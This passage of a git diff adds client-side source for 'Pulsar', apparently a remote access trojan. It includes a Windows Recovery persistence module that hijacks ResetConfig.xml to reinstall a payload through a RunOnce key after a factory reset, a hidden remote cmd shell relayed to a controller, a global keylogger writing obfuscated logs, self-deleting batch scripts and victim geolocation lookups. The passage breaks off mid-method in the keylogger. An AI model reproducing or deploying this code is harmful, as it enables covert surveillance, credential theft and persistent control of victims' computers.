_lastFrameTime = now; + return _currentFrame?.Clone() as Bitmap; + } + + return null; + } + catch (Exception ex) + { + Debug.WriteLine($"Error getting latest frame: {ex.Message}"); + return null; + } + } + } + + public Bounds GetBounds() + { + lock (_lock) + { + try + { + return new Bounds { Width = _width, Height = _height }; + } + catch (Exception ex) + { + Debug.WriteLine($"Error getting bounds: {ex.Message}"); + return new Bounds { Width = 0, Height = 0 }; + } + } + } + + private void FinalFrame_NewFrame(object sender, NewFrameEventArgs eventArgs) + { + lock (_lock) + { + try + { + _currentFrame?.Dispose(); + Bitmap frame = (Bitmap)eventArgs.Frame.Clone(); + + frame.RotateFlip(RotateFlipType.RotateNoneFlipX); + + _currentFrame = frame; + _width = _currentFrame.Width; + _height = _currentFrame.Height; + } + catch (Exception ex) + { + Debug.WriteLine($"Error processing new frame: {ex.Message}"); + } + } + } + + private void VideoDevice_VideoSourceError(object sender, VideoSourceErrorEventArgs eventArgs) + { + var desc = eventArgs.Description ?? string.Empty; + if (desc.IndexOf("0x80004002", StringComparison.OrdinalIgnoreCase) >= 0 || + desc.IndexOf("Interface not supported", StringComparison.OrdinalIgnoreCase) >= 0) + { + Debug.WriteLine("Webcam does not support required video control interface; ignoring."); + } + else + { + Debug.WriteLine($"Video source error: {desc}"); + } + } + } + + public struct Bounds + { + public int Width { get; set; } + public int Height { get; set; } + } +} diff --git a/Pulsar.Client/Helper/WinRE/WinRE.cs b/Pulsar.Client/Helper/WinRE/WinRE.cs new file mode 100644 index 0000000..e100105 --- /dev/null +++ b/Pulsar.Client/Helper/WinRE/WinRE.cs @@ -0,0 +1,236 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Xml.Linq; + +namespace Pulsar.Client.Helper.WinRE +{ + public class WinREPersistence + { + private static readonly Random random = new Random(); + private static readonly string SystemDrive = Path.GetPathRoot(Environment.SystemDirectory); + private static readonly string OEMPath = Path.Combine(SystemDrive, "Recovery", "OEM"); + private static readonly string OEMDataBackupPath = Path.Combine(OEMPath, "XRSBackupData"); + private static readonly string ResetConfigPath = Path.Combine(OEMPath, "ResetConfig.xml"); + + private static string GenerateRandomString(int length) + { + return new string(Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", length).Select(s => s[random.Next(s.Length)]).ToArray()); + } + + public static bool CreateEnvironment() + { + if (!Directory.Exists(OEMPath)) + { + try + { + Directory.CreateDirectory(OEMPath); + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + return false; + } + } + if (Directory.Exists(OEMDataBackupPath)) + return false; + Directory.CreateDirectory(OEMDataBackupPath); + return true; + } + + public static void InstallFile(byte[] fileBytes, string extension) + { + if (CreateEnvironment()) + Debug.WriteLine("Created OEM Environment"); + else + Debug.WriteLine("OEM Environment already exists, continuing installation"); + List stringList = new List(); + string path2 = GenerateRandomString(20) + extension; + stringList.Add(path2); + try + { + File.WriteAllBytes(Path.Combine(OEMPath, path2), fileBytes); + } + catch + { + Debug.WriteLine("Error writing stub file"); + return; + } + Debug.WriteLine("Successfully wrote stub file: " + path2); + string payload = CreatePayload("cmd.exe /c start %TARGETOSDRIVE%\\Recovery\\OEM\\" + path2, false); + string basicResetFileName = GenerateRandomString(20) + ".bat"; + string factoryResetFileName = GenerateRandomString(20) + ".bat"; + if (BackupCurrentConfig(basicResetFileName, factoryResetFileName, stringList.ToArray())) + Debug.WriteLine("Successfully backed up current config"); + else + Debug.WriteLine("Error backing up current config"); + CreateOrUpdateResetConfig(basicResetFileName, factoryResetFileName, payload); + Debug.WriteLine("Successfully Installed!"); + } + + private static string CreatePayload(string command, bool UseEscaped = true) + { + string randomString = GenerateRandomString(20); + string str = !UseEscaped ? command : command.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&").Replace("|", "^|").Replace("<", "^<").Replace(">", "^>").Replace("\"", "\"\""); + return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= \" %%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%A\r\n\r\nreg load HKLM\\" + randomString + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + randomString + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + randomString + " /t REG_SZ /d \"" + str + "\"\r\n\r\nreg unload HKLM\\" + randomString + "\r\n"; + } + + private static bool BackupCurrentConfig( + string basicResetFileName, + string factoryResetFileName, + string[] additionalDeletes = null) + { + List contents = new List() + { + basicResetFileName, + factoryResetFileName + }; + if (additionalDeletes != null) + contents.AddRange(additionalDeletes); + try + { + File.WriteAllLines(Path.Combine(OEMDataBackupPath, "DELETEME"), contents); + } + catch + { + return false; + } + if (File.Exists(ResetConfigPath)) + { + try + { + File.Copy(ResetConfigPath, Path.Combine(OEMDataBackupPath, "configBackup"), true); + } + catch + { + return false; + } + } + return true; + } + + private static void CreateOrUpdateResetConfig( + string basicResetFileName, + string factoryResetFileName, + string payload) + { + if (!File.Exists(ResetConfigPath)) + CreateNewResetConfig(basicResetFileName, factoryResetFileName, payload); + else + UpdateExistingResetConfig(basicResetFileName, factoryResetFileName, payload); + } + + private static void CreateNewResetConfig( + string basicResetFileName, + string factoryResetFileName, + string payload) + { + new XDocument(new XDeclaration("1.0", "utf-8", null), new object[1] + { + new XElement((XName) "Reset", new object[2] + { + CreateRunElement("BasicReset_AfterImageApply", basicResetFileName, 1), + CreateRunElement("FactoryReset_AfterImageApply", factoryResetFileName, 1) + }) + }).Save(ResetConfigPath); + SaveScriptFile(basicResetFileName, payload); + SaveScriptFile(factoryResetFileName, payload); + } + + private static void UpdateExistingResetConfig( + string basicResetFileName, + string factoryResetFileName, + string payload) + { + XElement resetConfig = XElement.Load(ResetConfigPath); + XElement[] array = resetConfig.Elements((XName)"Run").Where(e => (string)e.Attribute((XName)"Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute((XName)"Phase") == "BasicReset_AfterImageApply").ToArray(); + int duration = array.Max(e => (int)e.Element((XName)"Duration")); + string additionalCommand1 = UpdatePhase(array, "BasicReset_AfterImageApply", basicResetFileName); + string additionalCommand2 = UpdatePhase(array, "FactoryReset_AfterImageApply", factoryResetFileName); + if (additionalCommand1 == null) + AddNewPhase(resetConfig, "BasicReset_AfterImageApply", basicResetFileName, duration); + if (additionalCommand2 == null) + AddNewPhase(resetConfig, "FactoryReset_AfterImageApply", factoryResetFileName, duration); + SaveScriptFile(basicResetFileName, payload, additionalCommand1); + SaveScriptFile(factoryResetFileName, payload, additionalCommand2); + resetConfig.Save(ResetConfigPath); + } + + private static XElement CreateRunElement(string phase, string path, int duration) + { + return new XElement((XName)"Run", new object[3] + { + new XAttribute((XName) "Phase", phase), + new XElement((XName) "Path", path), + new XElement((XName) "Duration", duration) + }); + } + + private static string UpdatePhase(XElement[] phases, string phaseName, string fileName) + { + XElement xelement = phases.FirstOrDefault(p => (string)p.Attribute((XName)"Phase") == phaseName); + if (xelement == null) + return null; + string str1 = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xelement.Element((XName)"Path"); + string str2 = (string)xelement.Element((XName)"Param") ?? string.Empty; + xelement.Element((XName)"Param")?.Remove(); + xelement.Element((XName)"Path").Value = fileName; + return "\"" + str1 + "\" " + str2; + } + + private static void AddNewPhase( + XElement resetConfig, + string phaseName, + string fileName, + int duration) + { + XElement runElement = CreateRunElement(phaseName, fileName, duration); + resetConfig.Add(runElement); + } + + private static void SaveScriptFile(string fileName, string payload, string additionalCommand = null) + { + string contents = payload; + if (!string.IsNullOrEmpty(additionalCommand)) + contents += additionalCommand; + try + { + File.WriteAllText(Path.Combine(OEMPath, fileName), contents); + Debug.WriteLine("Wrote Stuff"); + } + catch + { + Debug.WriteLine("Error writing: " + fileName); + } + } + + public static void Uninstall() + { + if (!Directory.Exists(OEMDataBackupPath)) + { + Debug.WriteLine("Not Installed"); + return; + } + + Debug.WriteLine("Uninstalling Reset Persistence"); + _Uninstall(); + Debug.WriteLine("Uninstalled Reset Persistence"); + } + + private static void _Uninstall() + { + try + { + Directory.Delete(OEMPath, true); + } + catch (Exception ex) + { + Debug.WriteLine("Error restoring config file: " + ex.Message); + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/IO/.DS_Store b/Pulsar.Client/IO/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Client/IO/.DS_Store differ diff --git a/Pulsar.Client/IO/BatchFile.cs b/Pulsar.Client/IO/BatchFile.cs new file mode 100644 index 0000000..6def3a5 --- /dev/null +++ b/Pulsar.Client/IO/BatchFile.cs @@ -0,0 +1,76 @@ +using Pulsar.Common.Helpers; +using System.IO; +using System.Text; + +namespace Pulsar.Client.IO +{ + /// + /// Provides methods to create batch files for application update, uninstall and restart operations. + /// + public static class BatchFile + { + /// + /// Creates the uninstall batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateUninstallBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string uninstallBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "timeout /T 5 /NOBREAK > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "del \"%~f0\" /a /f /q >nul 2>&1 & exit"; + + File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the update batch file. + /// + /// The current file path of the client. + /// The new file path of the client. + /// The file path to the batch file which can then get executed. Returns an empty string on failure. + public static string CreateUpdateBatch(string currentFilePath, string newFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string updateBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "timeout /T 5 /NOBREAK > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del \"%~f0\" /a /f /q >nul 2>&1 & exit"; + + File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the restart batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateRestartBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string restartBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "timeout /T 5 /NOBREAK > nul" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del \"%~f0\" /a /f /q >nul 2>&1 & exit"; + + File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false)); + + return batchFile; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/IO/Shell.cs b/Pulsar.Client/IO/Shell.cs new file mode 100644 index 0000000..1b3cf12 --- /dev/null +++ b/Pulsar.Client/IO/Shell.cs @@ -0,0 +1,333 @@ +using Pulsar.Client.Networking; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.RemoteShell; +using System; +using System.Diagnostics; +using System.Globalization; +using System.IO; +using System.Text; +using System.Threading; + +namespace Pulsar.Client.IO +{ + /// + /// This class manages a remote shell session. + /// + public class Shell : IDisposable + { + /// + /// The process of the command-line (cmd). + /// + private Process _prc; + + /// + /// Decides if we should still read from the output. + /// + /// Detects unexpected closing of the shell. + /// + /// + private bool _read; + + /// + /// The lock object for the read variable. + /// + private readonly object _readLock = new object(); + + /// + /// The lock object for the StreamReader. + /// + private readonly object _readStreamLock = new object(); + + /// + /// The current console encoding. + /// + private Encoding _encoding; + + /// + /// Redirects commands to the standard input stream of the console with the correct encoding. + /// + private StreamWriter _inputWriter; + + /// + /// The client to sends responses to. + /// + private readonly PulsarClient _client; + + /// + /// Initializes a new instance of the class using a given client. + /// + /// The client to send shell responses to. + public Shell(PulsarClient client) + { + _client = client; + } + + /// + /// Creates a new session of the shell. + /// + private void CreateSession() + { + lock (_readLock) + { + _read = true; + } + + var cultureInfo = CultureInfo.InstalledUICulture; + _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage); + + _prc = new Process + { + StartInfo = new ProcessStartInfo("cmd") + { + UseShellExecute = false, + CreateNoWindow = true, + RedirectStandardInput = true, + RedirectStandardOutput = true, + RedirectStandardError = true, + StandardOutputEncoding = _encoding, + StandardErrorEncoding = _encoding, + WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), + Arguments = $"/K CHCP {_encoding.CodePage}" + } + }; + _prc.Start(); + + RedirectIO(); + + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> New Session created\n" + }); + } + + /// + /// Starts the redirection of input and output. + /// + private void RedirectIO() + { + _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); + new Thread(RedirectStandardOutput).Start(); + new Thread(RedirectStandardError).Start(); + } + + /// + /// Reads the output from the stream. + /// + /// The first read char. + /// The StreamReader to read from. + /// True if reading from the error-stream, else False. + private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError) + { + lock (_readStreamLock) + { + var streamBuffer = new StringBuilder(); + + streamBuffer.Append((char)firstCharRead); + + // While there are more characters to be read + while (streamReader.Peek() > -1) + { + // Read the character in the queue + var ch = streamReader.Read(); + + // Accumulate the characters read in the stream buffer + streamBuffer.Append((char)ch); + + if (ch == '\n') + SendAndFlushBuffer(ref streamBuffer, isError); + } + // Flush any remaining text in the buffer + SendAndFlushBuffer(ref streamBuffer, isError); + } + } + + /// + /// Sends the read output to the Client. + /// + /// Contains the contents of the output. + /// True if reading from the error-stream, else False. + private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) + { + if (textBuffer.Length == 0) return; + + var toSend = ConvertEncoding(_encoding, textBuffer.ToString()); + + if (string.IsNullOrEmpty(toSend)) return; + + _client.Send(new DoShellExecuteResponse { Output = toSend, IsError = isError }); + + textBuffer.Clear(); + } + + /// + /// Reads from the standard output-stream. + /// + private void RedirectStandardOutput() + { + try + { + int ch; + + // The Read() method will block until something is available + while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1) + { + ReadStream(ch, _prc.StandardOutput, false); + } + + lock (_readLock) + { + if (_read) + { + _read = false; + throw new ApplicationException("session unexpectedly closed"); + } + } + } + catch (ObjectDisposedException) + { + // just exit + } + catch (Exception ex) + { + if (ex is ApplicationException || ex is InvalidOperationException) + { + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); + + CreateSession(); + } + } + } + + /// + /// Reads from the standard error-stream. + /// + private void RedirectStandardError() + { + try + { + int ch; + + // The Read() method will block until something is available + while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1) + { + ReadStream(ch, _prc.StandardError, true); + } + + lock (_readLock) + { + if (_read) + { + _read = false; + throw new ApplicationException("session unexpectedly closed"); + } + } + } + catch (ObjectDisposedException) + { + // just exit + } + catch (Exception ex) + { + if (ex is ApplicationException || ex is InvalidOperationException) + { + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); + + CreateSession(); + } + } + } + + /// + /// Executes a shell command. + /// + /// The command to execute. + /// False if execution failed, else True. + public bool ExecuteCommand(string command) + { + if (_prc == null || _prc.HasExited) + { + try + { + CreateSession(); + } + catch (Exception ex) + { + _client.Send(new DoShellExecuteResponse + { + Output = $"\n>> Failed to creation shell session: {ex.Message}\n", + IsError = true + }); + return false; + } + } + + _inputWriter.WriteLine(ConvertEncoding(_encoding, command)); + _inputWriter.Flush(); + + return true; + } + + /// + /// Converts the encoding of an input string to UTF-8 format. + /// + /// The source encoding of the input string. + /// The input string. + /// The input string in UTF-8 format. + private string ConvertEncoding(Encoding sourceEncoding, string input) + { + var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input)); + return Encoding.UTF8.GetString(utf8Text); + } + + /// + /// Releases all resources used by this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_readLock) + { + _read = false; + } + + if (_prc == null) + return; + + if (!_prc.HasExited) + { + try + { + _prc.Kill(); + } + catch + { + } + } + + if (_inputWriter != null) + { + _inputWriter.Close(); + _inputWriter = null; + } + + _prc.Dispose(); + _prc = null; + } + } + } +} diff --git a/Pulsar.Client/IpGeoLocation/.DS_Store b/Pulsar.Client/IpGeoLocation/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Client/IpGeoLocation/.DS_Store differ diff --git a/Pulsar.Client/IpGeoLocation/GeoInformation.cs b/Pulsar.Client/IpGeoLocation/GeoInformation.cs new file mode 100644 index 0000000..f9aefe5 --- /dev/null +++ b/Pulsar.Client/IpGeoLocation/GeoInformation.cs @@ -0,0 +1,16 @@ +namespace Pulsar.Client.IpGeoLocation +{ + /// + /// Stores the IP geolocation information. + /// + public class GeoInformation + { + public string IpAddress { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Timezone { get; set; } + public string Asn { get; set; } + public string Isp { get; set; } + public int ImageIndex { get; set; } + } +} diff --git a/Pulsar.Client/IpGeoLocation/GeoInformationRetriever.cs b/Pulsar.Client/IpGeoLocation/GeoInformationRetriever.cs new file mode 100644 index 0000000..d170951 --- /dev/null +++ b/Pulsar.Client/IpGeoLocation/GeoInformationRetriever.cs @@ -0,0 +1,174 @@ +using Pulsar.Client.Helper; +using System.Globalization; +using System.IO; +using System.Net; + +namespace Pulsar.Client.IpGeoLocation +{ + /// + /// Class to retrieve the IP geolocation information. + /// + public class GeoInformationRetriever + { + /// + /// List of all available flag images on the server side. + /// + private readonly string[] _imageList = + { + "ad", "ae", "af", "ag", "ai", "al", + "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba", + "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", + "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", + "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", + "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", + "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", + "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", + "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", + "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", + "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", + "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", + "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", + "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", + "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", + "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", + "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", + "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", + "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", + "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", + "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", + "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy", + "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf", + "ws", "ye", "yt", "za", "zm", "zw" + }; + + /// + /// Retrieves the IP geolocation information. + /// + /// The retrieved IP geolocation information. + public GeoInformation Retrieve() + { + var geo = TryRetrieveOnline() ?? TryRetrieveLocally(); + + if (string.IsNullOrEmpty(geo.IpAddress)) + geo.IpAddress = TryGetWanIp(); + + geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress; + geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country; + geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode; + geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone; + geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn; + geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp; + + geo.ImageIndex = 0; + for (int i = 0; i < _imageList.Length; i++) + { + if (_imageList[i] == geo.CountryCode.ToLower()) + { + geo.ImageIndex = i; + break; + } + } + if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon + + return geo; + } + + /// + /// Tries to retrieve the geolocation information online. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveOnline() + { + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ipwho.is/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 10000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + var geoInfo = JsonHelper.Deserialize(dataStream); + + GeoInformation g = new GeoInformation + { + IpAddress = geoInfo.Ip, + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + Timezone = geoInfo.Timezone.UTC, + Asn = geoInfo.Connection.ASN.ToString(), + Isp = geoInfo.Connection.ISP + }; + + return g; + } + } + } + catch + { + return null; + } + } + + /// + /// Tries to retrieve the geolocation information locally. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveLocally() + { + try + { + GeoInformation g = new GeoInformation(); + + // use local information + var cultureInfo = CultureInfo.CurrentUICulture; + var region = new RegionInfo(cultureInfo.LCID); + + g.Country = region.DisplayName; + g.CountryCode = region.TwoLetterISORegionName; + g.Timezone = DateTimeHelper.GetLocalTimeZone(); + + return g; + } + catch + { + return null; + } + } + + /// + /// Tries to retrieves the WAN IP. + /// + /// The WAN IP as string if successful, otherwise null. + private string TryGetWanIp() + { + string wanIp = ""; + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 5000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(dataStream)) + { + wanIp = reader.ReadToEnd(); + } + } + } + } + catch + { + } + + return wanIp; + } + } +} diff --git a/Pulsar.Client/IpGeoLocation/GeoResponse.cs b/Pulsar.Client/IpGeoLocation/GeoResponse.cs new file mode 100644 index 0000000..9731cef --- /dev/null +++ b/Pulsar.Client/IpGeoLocation/GeoResponse.cs @@ -0,0 +1,45 @@ +using System.Runtime.Serialization; + +namespace Pulsar.Client.IpGeoLocation +{ + [DataContract] + public class GeoResponse + { + [DataMember(Name = "ip")] + public string Ip { get; set; } + + [DataMember(Name = "continent_code")] + public string ContinentCode { get; set; } + + [DataMember(Name = "country")] + public string Country { get; set; } + + [DataMember(Name = "country_code")] + public string CountryCode { get; set; } + + [DataMember(Name = "timezone")] + public Time Timezone { get; set; } + + [DataMember(Name = "connection")] + public Conn Connection { get; set; } + + } + + + + [DataContract] + public class Time + { + [DataMember(Name = "utc")] + public string UTC { get; set; } + } + [DataContract] + public class Conn + { + [DataMember(Name = "asn")] + public string ASN { get; set; } + + [DataMember(Name = "isp")] + public string ISP { get; set; } + } +} diff --git a/Pulsar.Client/Logging/Keylogger.cs b/Pulsar.Client/Logging/Keylogger.cs new file mode 100644 index 0000000..a53dc35 --- /dev/null +++ b/Pulsar.Client/Logging/Keylogger.cs @@ -0,0 +1,272 @@ +using Gma.System.MouseKeyHook; +using Pulsar.Client.Extensions; +using Pulsar.Client.Helper; +using Pulsar.Common.Helpers; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Text; +using System.Timers; +using System.Windows.Forms; +using Timer = System.Timers.Timer; + +namespace Pulsar.Client.Logging +{ + public class Keylogger : IDisposable + { + private readonly long _maxLogFileSize; + private readonly Timer _flushTimer; + private readonly object _syncLock = new object(); + private readonly StringBuilder _currentBuffer = new StringBuilder(); + private readonly IKeyboardMouseEvents _events; + + private string _currentWindow = string.Empty; + private DateTime _lastWindowChange = DateTime.UtcNow; + private string _logFilePath; + private bool _isFirstWrite = true; + private readonly TimeSpan _windowChangeThreshold = TimeSpan.FromSeconds(1); + public bool IsDisposed { get; private set; } + + public Keylogger(double flushInterval, long maxLogFileSize) + { + _maxLogFileSize = maxLogFileSize; + _events = Hook.GlobalEvents(); + _logFilePath = GetLogFilePath(); + + _flushTimer = new Timer(flushInterval); + _flushTimer.Elapsed += TimerElapsed; + _flushTimer.AutoReset = true; + } + + public void Start() + { + Subscribe(); + _flushTimer.Start(); + } + + private void Subscribe() + { + _events.KeyDown += OnKeyDown; + _events.KeyPress += OnKeyPress; + } + + private void Unsubscribe() + { + _events.KeyDown -= OnKeyDown; + _events.KeyPress -= OnKeyPress; + } + + private void OnKeyDown(object sender, KeyEventArgs e) + { + string newWindow = NativeMethodsHelper.GetForegroundWindowTitle() ?? "Unknown Window"; + + lock (_syncLock) + { + bool windowChanged = newWindow != _currentWindow; + bool enoughTimePassed = DateTime.UtcNow - _lastWindowChange > _windowChangeThreshold; + + // Check if window changed significantly + if (windowChanged && enoughTimePassed) + { + _currentWindow = newWindow; + _lastWindowChange = DateTime.UtcNow; + + // Start a fresh line for the new window + if (_currentBuffer.Length > 0 && !_currentBuffer.ToString().EndsWith(Environment.NewLine)) + _currentBuffer.AppendLine(); + + // Append window header cleanly + _currentBuffer.AppendLine($"[{DateTime.UtcNow:HH:mm:ss}] {newWindow}"); + } + + HandleSpecialKey(e); + } + } + + private void HandleSpecialKey(KeyEventArgs e) + { + switch (e.KeyCode) + { + case Keys.Enter: + _currentBuffer.AppendLine(); + break; + case Keys.Back: + HandleBackspace(); + break; + case Keys.Space: + _currentBuffer.Append(' '); + break; + case Keys.Tab: + _currentBuffer.Append("\t"); + break; + case Keys.Escape: + _currentBuffer.Append("[Esc]"); + break; + case Keys.Delete: + _currentBuffer.Append("[Del]"); + break; + case Keys.Up: + case Keys.Down: + case Keys.Left: + case Keys.Right: + // Ignore arrow keys to reduce noise + break; + case Keys.LControlKey: + case Keys.RControlKey: + case Keys.LShiftKey: + case Keys.RShiftKey: + case Keys.LMenu: + case Keys.RMenu: + case Keys.LWin: + case Keys.RWin: + // Ignore modifier keys alone + break; + default: + // Log function keys + if (e.KeyCode >= Keys.F1 && e.KeyCode <= Keys.F24) + { + _currentBuffer.Append($"[{e.KeyCode}]"); + } + break; + } + } + + private void HandleBackspace() + { + if (_currentBuffer.Length > 0) + { + // Remove last character if it's not part of a window header + char lastChar = _currentBuffer[_currentBuffer.Length - 1]; + if (lastChar != '\n' && lastChar != '\r' && lastChar != ']') + { + _currentBuffer.Length--; + } + } + } + + private void OnKeyPress(object sender, KeyPressEventArgs e) + { + lock (_syncLock) + { + if (!char.IsControl(e.KeyChar)) + _currentBuffer.Append(e.KeyChar); + else if (e.KeyChar == '\r') // Enter key + _currentBuffer.AppendLine(); + } + } + + private void TimerElapsed(object sender, ElapsedEventArgs e) + { + try + { + FlushToFile(); + } + catch (Exception ex) + { + Debug.WriteLine($"Keylogger flush error: {ex.Message}"); + } + } + + private void FlushToFile() + { + lock (_syncLock) + { + if (_currentBuffer.Length == 0) return; + + string contentToWrite = _currentBuffer.ToString(); + _currentBuffer.Clear(); + + WriteToFile(contentToWrite); + } + } + + private void WriteToFile(string content) + { + if (string.IsNullOrWhiteSpace(content)) return; + + try + { + // Write using the obfuscated log helper (handles compression + framing) + FileHelper.WriteObfuscatedLogFile(_logFilePath, content + Environment.NewLine); + + // Check file size + FileInfo info = new FileInfo(_logFilePath); + if (info.Length > _maxLogFileSize) + { + RotateLogFile(); + } + + _isFirstWrite = false; // mark that we’ve written at least once + } + catch (Exception ex) + { + Debug.WriteLine($"Log file write error: {ex.Message}"); + } + } + + private void RotateLogFile() + { + try + { + string baseName = DateTime.UtcNow.ToString("yyyy-MM-dd"); + string basePath = Path.Combine(Path.GetTempPath(), baseName); + string newFilePath = basePath + ".txt"; + + int counter = 1; + while (File.Exists(newFilePath)) + { + newFilePath = $"{basePath}_{counter:00}.txt"; + counter++; + } + + _logFilePath = newFilePath; + _isFirstWrite = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Log rotation error: {ex.Message}"); + } + } + + private string GetLogFilePath() + { + return Path.Combine(Path.GetTempPath(), DateTime.UtcNow.ToString("yyyy-MM-dd") + ".txt"); + } + + public void FlushImmediately() + { + FlushToFile(); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) return; + + if (disposing) + { + try + { + FlushToFile(); + Unsubscribe(); + _flushTimer.Stop(); + _flushTimer.Dispose(); + _events.Dispose(); + _currentBuffer.Clear(); + } + catch (Exception ex) + { + 